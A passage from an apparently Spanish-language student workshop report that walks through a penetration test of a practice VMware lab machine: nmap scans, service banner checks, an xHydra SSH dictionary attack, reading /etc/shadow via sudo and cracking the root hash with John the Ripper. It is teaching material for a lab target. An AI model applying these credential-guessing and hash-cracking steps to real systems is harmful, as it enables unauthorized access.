virtuales, para saber en que red está nuestra red virtualizada. Hacemos ifconfig, y nos aparecen las
siguientes interfaces virtuales:
vmnet1 Link encap:Ethernet direcciónHW 00:50:56:c0:00:01
inet dirección:172.16.5.1 Difusión:172.16.5.255
Máscara:255.255.255.0
dirección inet6: fe80::250:56ff:fec0:1/64
Alcance:Vínculo
ARRIBA DIFUSIÓN CORRIENDO MULTICAST MTU:1500 Métrica:1
RX packets:1 errors:0 dropped:0 overruns:0 frame:0
TX packets:797 errors:0 dropped:0 overruns:0 carrier:0
colisiones:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

vmnet8 Link encap:Ethernet direcciónHW 00:50:56:c0:00:08

inet dirección:192.168.197.1 Difusión:192.168.197.255
Máscara:255.255.255.0
dirección inet6: fe80::250:56ff:fec0:8/64
Alcance:Vínculo
ARRIBA DIFUSIÓN CORRIENDO MULTICAST MTU:1500 Métrica:1
RX packets:6 errors:0 dropped:0 overruns:0 frame:0
TX packets:8211 errors:0 dropped:0 overruns:0 carrier:0
colisiones:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

Bien, tenemos ips de nuestra máquina, pertenecientes a dos redes virtuales. Tambien nos fijamos en
la máscara, y así tenemos 2 redes que investigar: 172.16.5.1/24 y 192.168.197.1/24. El /24 la
obtenemos de la máscara de subred (255.255.255.0). Bien, hagamos el ping scan, con el comando:
namp -n -sP 192.168.197.0/24

Como respuesta, obtenemos:

Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 13:39
CEST
Host 192.168.197.1 appears to be up.

Página 79
Nmap done: 256 IP addresses (1 host up) scanned in 2.110 seconds

Es decir, solo una máquina: la nuestra. Probando en la otra ip, obtenemos los mismos resultados.
Aquí, se nos ocurre pensar, que quizás las máquinas estén no respondiendo a los pings (algo muy
aconsejable), por lo que tenemos que tomar otras medidas para intentar averiguar la ip por la cual
tratar con la red.

Escaneo de puertos
Vamos a intentar escanear puertos, a ver si encontrásemos alguno abierto o filtrado. Algo que nos
indique que hay una máquina corriendo, y que aplicaciones o servicios están corriendo. Encontrará
incluso las versiones de los programas que están escuchando a los servicios. Para ello, hacemos un
escaneo de puertos cualquiera (por ejemplo el stealth -sS), y reducimos el rango de puertos a los
típicos, reduciendo así el tiempo que durará el test:
sudo nmap -PN -sS -p80,22 192.168.197.0/24

Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 14:23

CEST
Interesting ports on 192.168.197.1:
PORT STATE SERVICE
22/tcp closed ssh
80/tcp closed http

Interesting ports on 192.168.197.254:

PORT STATE SERVICE
22/tcp filtered ssh
80/tcp filtered http
MAC Address: 00:50:56:E9:2D:31 (VMWare)

Nmap done: 256 IP addresses (2 hosts up) scanned in 6.656 seconds

Errores
Hemos intentado acceder a la página web donde se muestran las instrucciones para la realización
del test de intrusión (una introducción hacia la distribución live preparada para prácticas de test de
penetración). Habíamos visto, que la ip objetivo, era 192.168.197.254. Pero esta ip no nos sirve
páginas web (El firefox no nos sirve la página). Investigando, nos damos cuenta de que las ips
acabadas en 254 suelen corresponder a routers. En nuestro caso, debe de ser algún router virtual
creado por VMWARE. Por lo tanto, estamos en las mismas. Investigando sobre esta distribución,
nos damos cuenta de que la web que sirve la página es 192.168.1.100. Pero ésta sigue sin responder.
Intentamos buscarla haciendo escaneos de puertos y de ips a lo largo de nuestras redes, pero no hay
manera de encontrarla, y no somos capaces de acceder.
Finalmente, tras un trabajo de investigación y pruebas, decidimos cambiar la ip de nuestra backtrack
a la subred 192.168.1.0/24, haciendo que pertenezca a la red de la distribución:

Página 80
bt ~ # ifconfig eth0 192.168.1.4
bt ~ # ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:19:FD:5D
inet addr:192.168.1.4 Bcast:192.168.1.255
Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500
Metric:1
RX packets:111 errors:0 dropped:0 overruns:0 frame:0
TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:132902 (129.7 KiB) TX bytes:6000 (5.8 KiB)
Base address:0x1080 Memory:e8820000-e8840000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Ahora, comprobamos a ver si podemos acceder a la página, introduciendo la ip en el firefox de

backtrack(Figura 24: ):

Figura 24:

Página 81
Máquinas online
Vamos a probar de nuevo a hacer un barrido a ver cuantas máquinas encontramos conectadas en la
red 192.168.1.0/24 (el Host descovery descrito antes). Para ello, podemos hacerlo de 2 formas, y así
aprendemos las dos:
bt ~ # nmap -sP 192.168.1.1-254

Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:11 CEST

Host 192.168.1.4 appears to be up.
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Nmap done: 254 IP addresses (2 hosts up) scanned in 31.732 seconds
bt ~ # nmap -sP 192.168.1.0/24

Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:14 CEST

Host 192.168.1.4 appears to be up.
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Nmap done: 256 IP addresses (2 hosts up) scanned in 30.087 seconds

En ambas, hemos puesto la opción -sP (ping scan), y en la primera, hemos puesto un rango de ips.
En la segunda, hemos hecho lo mismo, solo que hemos especificado una máscara de red, en lugar
de un rango. En ambas obtenemos la misma respuesta: en la red, está nuestro equipo, y el servidor
web que hemos visitado antes.
Apuntaremos los datos de la máquina que nos interesa:
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (Vmware)

Exploración inicial de la máquina 192.168.1.100

Ahora vamos a realizar un escaneo más intenso sobre la máquina objetivo, probando, además, los
puertos TCP comunes. Estaremos haciendo lo mismo que en la sección donde se describe el escaneo
de puertos, es decir, comprobando los puertos que están a la escucha, y que aplicaciones están
escuchando:
bt ~ # nmap -PE -v -p1-65535 -PA21,23,80,3389 -A -T4 192.168.1.100

Este tipo de escaneo, es bastante común, y algunas herramientas gráficas (por ejemplo Zenmap) que
implementan NMAP, lo traen por defecto. Vamos a explicar un poco las opciones:
-PE: NMAP puede enviar paquetes de ICMP tipo 8 (echo request) a la ip objetivo, y esperar la
respuesta de tipo 0 (echo request), de aquellos hosts que estén disponibles. Muchas veces este tipo
de pings están filtrados por muchos administradores, por lo que muchas veces se suelen hacer otros

Página 82
tipos de escaneo. Nosotros lo incluimos para ver cuales nos contestan.
-v: verbose, para mostrar más detalles
-p1-65535: queremos que escanee desde el puerto 1 al 65535 con el -PE.
-PA21,23,80,3389: con esto, vamos a hacer un ACK scan a los puertos más comunes de tcp, el 21,
23, 80 y el 3389. Enviaremos paquetes ACK para ver que nos contestan, y así poder determinar si
están abiertos o no. Enviamos un ACK para hacerle saber a la víctima que confirmamos una
conexión existente (aunque realmente no existe). La máquina objetivo nos contestará con un RST
(reset, ya que ésta no sabe nada de esta conexión inventada por nosotros), y sabremos que
efectivamente, hay algo escuchando ahí.
-A: permite que le pongamos opciones de escaneo “agresivas”. Además, nos buscará las versiones
de los programas que están escuchando en los puertos. En nuestro caso además de lo anterior, nos
permite utilizar la opción -T4, que pasaremos a explicar a continuación.
-T4: prohíbe que el el escaneo dinámico exceda los 10ms para puertos TCP. El escaneo dinámico
se suele utilizar para burlar algunos sistemas de detección de intrusos mediante el cambio de tiempo
entre escaneo y escaneo, de forma que sea más dificil de evitar. Las versiones más recientes de
SNORT son capaces de detectar esto.
Por último, hemos introducido la dirección ip de la víctima. A continuación, mostramos la salida de
nuestro escaneo:
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:24 CEST
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 13:24, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:24
Completed Parallel DNS resolution of 1 host. at 13:24, 13.00s
elapsed
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.100 [65535 ports]
Discovered open port 25/tcp on 192.168.1.100
Discovered open port 21/tcp on 192.168.1.100
Discovered open port 80/tcp on 192.168.1.100
Discovered open port 22/tcp on 192.168.1.100
Discovered open port 143/tcp on 192.168.1.100
SYN Stealth Scan Timing: About 6.33% done; ETC: 13:32 (0:07:23
remaining)
SYN Stealth Scan Timing: About 26.57% done; ETC: 13:29 (0:03:35
remaining)
Discovered open port 110/tcp on 192.168.1.100
Completed SYN Stealth Scan at 13:28, 193.07s elapsed (65535 total
ports)
Initiating Service scan at 13:28
Scanning 6 services on 192.168.1.100
Completed Service scan at 13:28, 6.03s elapsed (6 services on 1

Página 83
host)
Initiating OS detection (try #1) against 192.168.1.100
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 13:28
Completed SCRIPT ENGINE at 13:28, 0.05s elapsed
Host 192.168.1.100 appears to be up ... good.
Interesting ports on 192.168.1.100:
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
|_ SSH Protocol Version 1: Server supports SSHv1
25/tcp open smtp Sendmail 8.13.7/8.13.7
| SMTP: Responded to EHLO command
| slax.example.net Hello [192.168.1.4], pleased to meet you
| ENHANCEDSTATUSCODES
| PIPELINING
| 8BITMIME
| SIZE
| DSN
| ETRN
| AUTH DIGEST-MD5 CRAM-MD5
| DELIVERBY
| 250 HELP
| Responded to HELP command
| 2.0.0 This is sendmail version 8.13.7
| 2.0.0 Topics:
| 2.0.0 HELO EHLO MAIL RCPT DATA
| 2.0.0 RSET NOOP QUIT HELP VRFY
| 2.0.0 EXPN VERB ETRN DSN AUTH
| 2.0.0 STARTTLS
| 2.0.0 For more info use "HELP <topic>".
| 2.0.0 To report bugs in the implementation see
| 2.0.0 http://www.sendmail.org/email-addresses.html

Página 84
| 2.0.0 For local information send email to Postmaster at your
site.
|_ 2.0.0 End of HELP info
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
|_ HTML title: Site doesn't have a title.
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.20
Uptime: 0.025 days (since Wed Apr 8 12:51:41 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: slax.example.net; OS: Unix

Read data files from: /usr/local/share/nmap

OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.204 seconds
Raw packets sent: 196657 (8.655MB) | Rcvd: 56 (2672B)

Como datos interesantes, podemos ver los puertos que ha encontrado abiertos, y ha tratado de
averiguar que servicio, y versión de los programas que lo implementan, está usando:
21/tcp open ftp vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
Running: Linux 2.6.X
OS details: Linux 2.6.13 – 2.6.20

Página 85
Anotamos esto último para posterior consulta. Estos datos nos serán importantes, ya que serán
posibles entradas al sistema. Además, nos está mostrando el sistema operativo que está instalada la
máquina.
Otro escaneo interesante, puede ser con las opciones -P0 (para evitar que haga ping antes de cada
escaneo de puerto, ya que muchos sistemas tienen desactivado la respuesta a pings), -sS para que
haga el escaneo con SYN en vez de ACK:
bt ~ # nmap -P0 -sS -p 21,22,23,80,110,443,3306 192.168.1.100

Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 14:09 CEST

Interesting ports on 192.168.1.100:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp filtered telnet
80/tcp open http
110/tcp open pop3
443/tcp closed https
3306/tcp filtered mysql
MAC Address: 00:0C:29:A2:DA:9C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.593 seconds

Hay muchas opciones interesantes mas, como -sV para que compruebe las versiones.
Como vemos, Nmap nos ha servido de forma rápida y eficiente, y nos ha dado bastante información
del sistema. Nos ha dado bastantes caminos que podemos seguir en el futuro para intentar explotar
las vulnerabilidades del sistema, y reduciendo así, el número de pruebas que podemos realizar.
Pero.. hemos de tener en cuenta, que estos datos pudieran ser no fiables: es posible que NMAP se
hubiera equivocado. Y aun así, NMAP trabaja en función de las respuestas que le devuelven los
distintos protocolos implementados, y como los tratan los programas que están a la escucha. Por lo
tanto, lo siguiente que habría que hacer, es verificar que, efectivamente, son esos los servicios (y si
podemos, los programas también) que NMAP nos está diciendo que son.

Verificación de puertos abiertos con servicios escuchando

Recapitulamos lo que hemos encontrado con los distintos escaneos de puertos, y que nos puede
resultar interesante:
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
21/tcp open ftp vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7

Página 86
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
Running: Linux 2.6.X
OS details: Linux 2.6.13 – 2.6.20
Como buen test de intrusión, vamos a comprobar, que efectivamente hay esos servicios a la
escucha. Lo más sencillo, es ir servicio a servicio, conectándonos a ellos con las herramientas que
dispongamos, y tratar de interactuar con ellos mediante comandos del protocolo en cuestión. Si nos
devuelve las respuestas que esperamos a esos comandos, entonces el servicio será el que NMAP nos
ha dado.
Probamos pues, el primer servicio, el FTP. Escribimos en consola:
bt ~ # ftp
ftp> open
(to) 192.168.1.100
Connected to 192.168.1.100.
500 OOPS: could not bind listening IPv4 socket

Como vemos, no podemos conectarnos al servidor FTP, bien sea por una configuración incorrecta
intencionada o no intencionada. Pasemos pues al siguiente sercicio, SSH:
bt ~ # ssh 192.168.1.100
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be
established.
RSA key fingerprint is
ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (RSA) to the list of
known hosts.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:

Aquí si que podemos ver, que efectivamente hay un servidor SSH escuchando, y que al loguearnos,
nos pide una contraseña. Como obviamente no la conocemos, apretamos CONTROL-C para salir
del programa. Probemos pues, el siguiente el sendmail:
bt ~ # telnet 192.168.1.100 25
Trying 192.168.1.100...
Connected to 192.168.1.100.

Página 87
Escape character is '^]'.
220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 24 Apr
2009 12:10:07 GMT
Vemos que tras intentar conectarnos, nos devuelve el banner del Sendmail. Por lo tanto, el servidor
está activo. Probemos ahora el puerto 80, desde nuestro conocido netcat:
bt ~ # nc 192.168.1.100 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 24 Apr 2009 12:12:53 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
X-Powered-By: PHP/5.1.2
Connection: close
Content-Type: text/html

El siguiente de los servicios, es uno que NMAP reconoce como Openwall popa3d. Tras googlear un
poco, descubrimos que se trata de un pequeño daemon de POP3 diseñado con la seguridad como
máximo objetivo. Intentemos conectarnos:
bt ~ # telnet 192.168.1.100 110
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
+OK
USER Pepe
+OK
PASS hola
-ERR Authentication failed (bad password?)
Connection closed by foreign host.

El servicio está activo, y además acepta comandos típicos de POP3. El siguiente servicio, un IMAP.
Intentemos la conexión:
bt ~ # telnet 192.168.1.100 143
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
•OK[CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS
AUTH=LOGIN] [192.168.1.100] IMAP4rev1 2004.357 at Fri, 24 Apr 2009
12:30:11 +0000 (GMT)
•

Página 88
También está activo. Ya hemos probado todos los servicios que nos ha proporcionado NMAP, y
comprobado que efectivamente, son todos correctos, dando así por concluida, la sección de NMAP.

Recolección de información
De entre todos los servicios encontrados en el sistema, el mas interesante parece que es el SSH.
Esto es así por dos razones: la primera, es que dado que intentamos simular una auditoría, por lo
que no deberíamos llevar a cabo acciones que pudieran poner en peligro el sistema (por ejemplo,
buffer overflows, denegaciones de servicio etc), y una buena forma de respetar esto, es mediante el
uso de ataques de diccionario (se explicará más adelante). La segunda razón es, que ya que vamos a
realizar un ataque de diccionario, lo ideal es explotar un servicio que directamente nos devuelva una
shell. Indagando por la web que nos ofrecía el CEO, :

Vemos los distintos mails, que suelen coincidir con los nombres de usuario (o al menos, tenemos los
nombres de los componentes de la empresa, para empezar a indagar como será su nombre de
usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy interesante (ya que son
administradores, y probablemente tengan acceso por ssh al sistema, que es lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp

Ataques de diccionario
Para comprender un ataque de diccionario, primero deberíamos entender que es un ataque de fuerza
bruta. Un ataque de este tipo, es ir probando combinaciones de letras de tal forma, que acertemos
con el login y password de un usuario y podamos acceder al sistema. Éste método, no es muy
rápido, por lo que deberíamos de refinarlo. Aquí es donde entra en juego el ataque de diccionario.
Reduciremos los intentos de contraseña mediante el uso de palabras conocidas como passwords
comunes, nombres de actores, nombres bíblicos etc... de tal forma que eliminemos palabras
absurdas.
Para realizar un ataque de diccionario, necesitaremos 2 elementos: logins y passwords. Pasemos
primero, a ver como conseguir los nombres de usuario.

Página 89

Figura 25:
Nombres de usuario
Vemos los distintos mails(Figura 25: ), que suelen coincidir con los nombres de usuario (o al
menos, tenemos los nombres de los componentes de la empresa, para empezar a indagar como será
su nombre de usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy
interesante (ya que son administradores, y probablemente tengan acceso por ssh al sistema, que es
lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp

Vamos a crear un diccionario de nombres de usuario, donde aparezcan distintas combinaciones con
los nombres para generar los nombres de usuario (además de los emails que ya tenemos). Asi,
podemos por ejemplo hacer:
adamsa
adamadam
aadam
adams
banterb
bbanter
bobb
robertb
rbanter
bob
robert
coffeec
chadcoffee
ccoffee

Cuantos mas se nos ocurran, mas probabilidades tendremos de encontrar el nombre de usuario
correcto. Por ahora, probaremos con estos. Lo guardamos en un fichero de texto, por ejemplo
usuarios.txt

Diccionarios
Lo siguiente, es buscar un diccionario de passwords típicos. Buscando por la web, se pueden
encontrar miles, de todos los tamaños, e incluso organizados por categorías. Desde los passwords
mas utilizados, nombres de actores, nombres bíblicos. Pueden ser de cualquier tipo, desde palabras
reconocibles, a caracteres generados por fuerza bruta. Con mayúsculas, palabras escritas al derechas
o al revés. Para este taller, se ha cogido uno con los passwords mas comunes, y lo guardamos como
passwords.txt.

xHydra
A continuación, vamos a presentar una herramienta gráfica, que se utiliza para el ataque online por
diccionarios: xHydra. Este programa, viene por defecto en backtrack, y para iniciarlo, le damos al
botón de kde y seguimos el siguiente dibujo(Figura 26: ):

Página 90
Figura 26:

Las herramientas que Backtrack ofrece para seguridad, están organizadas siguiendo una jerarquía.
Nosotros buscamos un programa que nos ofrezca escalada de privilegios (pretendemos obtener los
privilegios de algún administrador de la empresa), que sea de ataque de diccionario (para eso hemos
creado el diccionario de usuarios y contraseñas), y por último, es online: vamos a trabajar
intentando conectarnos al servidor SSH. El Hydra podemos ejecutarlo en modo gráfico y en modo
consola. Nosotros, vamos a ejecutarlo en modo gráfico.

Figura 27:

Página 91
Una vez ejecutado el xHydra, seleccionamos las siguientes opciones:
En la pestaña target(Figura 27: ):

Elegimos single target, con la dirección ip de la máquina víctima, y elegimos el protocolo ssh2. En
la pestaña password(Figura 28: ):

Figura 28:

Aquí elegimos en username list el diccionario de usuarios que hemos creado. En password list,
elegimos el diccionario de passwords comunes que hemos sacado de internet. Por último, vamos a
marcar las casillas “Try login as passwords” para que de el mismo nombre que contraseña, y “Try
empty password” por si no tuviera password. En la pestaña tunig(Figura 29: ):

Figura 29:

Página 92
Aquí, el number of tasks, será el número de procesos en paralelo que intentarán hacer logins a la
vez. Dado que nuestro diccionario es bastante grande, deberíamos mantener pequeño este número
(se han encontrado muchos problemas en este paso, por lo que finalmente se ha reducido a 2). El
timeout es el tiempo que pasará entre intento e intento. Seleccionaremos “Exit after first found pair”
para que en cuanto encuentre algún password, termine. Ya podemos iniciar el ataque. Tras un rato
de espera, obtenemos(Figura 30: ):

Figura 30:

Aquí hemos obtenido un login y password: bbanter, bbanter. Debemos recordar que hemos obtenido
esto gracias a haber seleccionado el “try login as password”. Para ejecutar el comando desde
consola, aparece en la parte inferior de la ventana. Ya tenemos un punto de entrada al sistema.
Vamos a comprobar que efectivamente podemos entrar:
bt ~ # ssh bbanter@192.168.1.100
bbanter@192.168.1.100's password:
Linux 2.6.16.
bbanter@slax:~$ whoami
bbanter
bbanter@slax:~$

xHydra nos ha ofrecido unos resultados deseables. Parece que no es demasiado complicado de
utilizar, aunque quizás las opciones de tunning sean poco intuitivas desde el punto de vista de un
novato. Por otro lado, también tuvimos problemas con que se quedaba colgado en ocasiones
(supondremos que será por utilizar entornos virtualizados). Otro punto en su contra, es su propia
naturaleza de “ataque de diccionario”. Siempre será poco eficiente, y si un sistema está protegido
con contraseñas más complicadas, o limita el número de intentos a la hora de loguearse, xHydra tal
y como lo venimos utilizando fracasará. A su favor, debemos decir que ha obtenido finalmente el

Página 93
nombre de usuario y contraseña, por lo que podemos continuar avanzando.

Exploración del sistema

Tras haber conseguido un nombre de usuario y contraseña, el siguiente paso lógico, sería el ver el
sistema accedido por dentro. A la hora de entrar en la red, hicimos lo mismo: echar un vistazo. Aquí
lo haremos a nivel de máquina individual.
Una vez dentro del sistema, el objetivo que más llama la atención, es ver el archivo de passwd. En
él podremos encontrar una lista de usuarios, y ver el tipo de indentificación que utiliza. Por lo tanto,
tras habernos conectado al sistema por ssh (login bbanter, pass bbanter), tecleamos en la terminal:
bbanter@slax:~$ cat /etc/passwd

Y la terminal muestra el archivo passwd:

root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP
ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash

Página 94
El archivo, está de la forma:
username:passwd:uid:gid:nombrereal:homedir:shell

Viendo el archivo, podemos comprobar, que donde viene passwd, viene una x, por lo que la
contraseña está contenida en /etc/shadow. También podemos ver el nombre de otros usuarios, junto
con sus uids, y gids. También podría ser interesante, el visualizar /etc/groups, o /etc/shadow si lo
necesitaremos, pero por ahora, nos hemos hecho con otros usuarios del sistema, y podríamos, por
ejemplo, realizar otro ataque de diccionario, usando el programa xHydra, con esta nueva lista de
usuarios.
Tras probar múltiples diccionarios (y algunos, al ser demasiado extensos, cuelgan las imagenes
VMWARE), encontramos la contraseña de aadams:
login: aadams
pass: nostradamus

Escalada de privilegios
Una vez tenemos varios nombres de usuarios y contraseñas, algo interesante para probar, es si la
contraseña de root usa la misma contraseña o nombre de usuario que los usuarios que tenemos.
Debemos recordar, que según la web de la empresa, son administradores, por lo que es posible, que
usaran sus contraseñas para ser root(algo muy desaconsejable, pero que se da en muchas empresas
con políticas de contraseñas muy pobres).
aadams@slax:~$ su
Password: nostradamus
Sorry.
aadams@slax:~$ su
Password: aadams
Sorry.
aadams@slax:~$ su
Password: bbanter
Sorry.
aadams@slax:~$ su
Password: ccoffee
Sorry.

Nota: se ha puesto los passwords en visible para poder mostrar lo que se ha intentado.
Como vemos, las contraseñas de los administradores no coinciden con la del root, por lo que
tendremos que idear otra forma de hacernos con la contraseña.

Descifrando Shadow
No todos los usuarios tienen permisos para poder acceder en modo lectura a este archivo, por lo que
vamos a probar si alguno de los usuarios que tenemos (recordemos que ambos son administradores,
por lo que tiene sentido) tiene permisos. Probaremos con aadams:
aadams@slax:~$ sudo cat /etc/shadow

Página 95
Hemos ejecutado la instrucción sudo para poder acceder al archivo con los máximos privilegios
posibles. En este caso, la contraseña coincidía con nostradamus.
Password: nostradamus
root:$1$r72/qKLG$TqTzMBf/6ErN9Z9.J9GiF/:14230:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::

Hemos tenido suerte: aadams tenía permisos parap poder leerlo. Es hora de descargarnos el
contenido a local, para poder usar herramientas de descifrado.
Creamos en nuestra Backtrack un archivo de texto donde pegamos ese texto. Lo llamaremos
shadowSISTEMA.txt.
A continuación vamos a presentar una herramienta de ataque de diccionario también (esta vez algo
más potente), pero que trabaja en offline:
Se trata de John the ripper (Jack el destripador). Es un programa de criptografía que permite
descifrar contraseñas de varios sistemas operativos. Se suele utilizar por administradores de
sistemas para comprobar la robustez de los passwords de sus usuarios. Es una herramienta open
source, y tiene versiones para muchas plataformas. Es capaz de autodetectar el método de cifrado
utilizado para cifrar las contraseñas.

Página 96
Su forma de funcionar, es mediante fuerza bruta (en su versión mas básica), la cual se puede
modificar para que pruebe, por ejemplo, solamente contraseñas con caracteres (sin símbolos ni
números), para que utilice diccionarios etc... Una vez elegido el método con el que va a hacer
pruebas, john the ripper prueba cada contraseña cifrandola con el mismo método con el que sea ha
cifrado la contraseña, y comprobando a ver si coincide, en cuyo caso, devuelve la contraseña.
Para nuestro caso, lo que se hizo fue utilizar varios diccionarios desde Backtrack, sin ningún
resultado rápido, por lo que se optó por pasar el shadow obtenido anteriormente a la máquina local
(Ubuntu), y cerrando las máquinas virtuales para tener mayor potencia de cálculo.
A continuación presentamos el comando utilizado y los resultados:

alberaan@Smaug:~$ john --user=root -wordfile:diccionario.txt

shadowSISTEMA.txt
Loaded 1 password (FreeBSD MD5 [32/64])
anthropogenic (root)
guesses: 1 time: 0:00:02:31 100% c/s: 5273 trying:
anthropogenic

Con el parámetro –user, indicamos que solamente queremos que descifre el usuario root. Con
-wordfile:diccionario.txt le indicamos que diccionario utilizar. Finalmente, introducimos el archivo
donde está copiado /etc/shadow del sistema a atacar (una copia que tenemos en local).
El resultado fue, que encontró que la contraseña de root es anthropogenic. Lo comprobamos desde
el sistema víctima:
aadams@slax:~$ su
Password: anthropogenic
root@slax:/home/aadams#

Y efectivamente, es la contraseña, y estamos dentro del sistema como root.

Valoraciones finales

Valoración primer taller

Hemos aprendido bastante sobre redes en entornos virtuales, y descubierto como utilizar muchos
servicios básicos sobre Backtrack. El uso de la herramienta de netcat, una herramienta que fue muy
popular en su día, ha sido algo bastante interesante de aprender a utilizar, por las múltiples opciones
que ofrece. Quizás se echara en falta el poder ver más herramientas de forma más generalista, pero
el poder ahondar en una herramienta, de forma tan técnica, es algo que nunca había hecho.

Valoración del segundo taller

En el segundo taller, hemos aprendido más sobre entornos virtuales y redes. En el comienzo del
taller, el como encontrar la red, el aprender a usar todos los programas de auditorías de seguridad
informática. Hemos aprendido también el modo de trabajo de alguien que intenta obtener
información de un sistema, fallos típicos de muchos entornos empresariales.
También hemos tenido muchos problemas, como el tardar a la hora de encontrar un password a la
